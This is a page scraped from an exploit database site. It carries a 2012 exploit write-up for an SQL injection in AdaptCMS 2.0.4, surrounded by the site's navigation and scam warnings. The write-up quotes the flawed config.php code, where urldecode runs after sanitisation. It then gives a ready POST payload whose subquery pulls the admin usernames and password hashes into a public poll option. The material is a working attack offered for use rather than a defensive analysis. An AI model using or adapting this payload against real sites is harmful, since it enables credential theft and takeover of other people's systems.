0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
AdaptCMS 2.0.4 SQL Injection Vulnerability
[# Exploit Title: AdaptCMS <= 2.0.4 SQL Injection vulnerability
# Date: 26/10/2012
# Exploit Author: Kallimero
# Vendor Homepage: http://www.adaptcms.com/
# Software Link: http://www.insanevisions.com/page/3/Downloads/
# Version: 2.0.4
# Tested on: Debian
Introduction
============
As you know, I love fun and tricky SQL injections.
AdaptCMS is vulnerable to a really unusual one.
The vuln
========
First let's see the code :
---------------[config.php]---------------
Line 34 :
array_map('clean', $_POST);
---------------[config.php]---------------
clean() acts like addslashes.
But a couple of lines after:
---------------[config.php]---------------
ligne 111:
mysql_query("INSERT INTO ".$pre."polls VALUES (null,
'".htmlentities(check($vote[2]))."', '".$vote2."', 'custom_option', '',
'".htmlentities(urldecode($_POST['question']))."', 1, '".time()."')");
---------------[config.php]---------------
w00t an SQL injection. $_POST['question'] is urldecoded after the
superglobal's clean. That's why we can easily inject our SQL request.
(Without ENT_QUOTES, the simple quote pass through htmlentities() ).
The PoC :
=========
Ok, now we have to add a second INSERT query, to insert a custom choice in
the poll, which obviously contain the admin creditentials.
A simple POST http request such as:
article_id=0&poll_id=1&vote=2&custom=1&question=%2527, 1, 1350677660),
(null, 0, (select concat(username, 0x3a, password) from adapt_users),
'option', '', 1, 1337, 1349597648 )-- -
Now check homepage, and enjoy the admin creditentials.
How to Fix ?
============
There is many SQL injections in this CMS ($_SERVER vars are vulnerables as
well), and others funkies vulnz.
changing your cms seems appropriate until they fix thoses issues.
Thanks
=========
All hwc members : Necromoine, fr0g, AppleSt0rm, St0rn, Zhyar, k3nz0,
gr4ph0s.
Please visit : http://www.orgasm.re/
# 0day.today [2024-11-15] #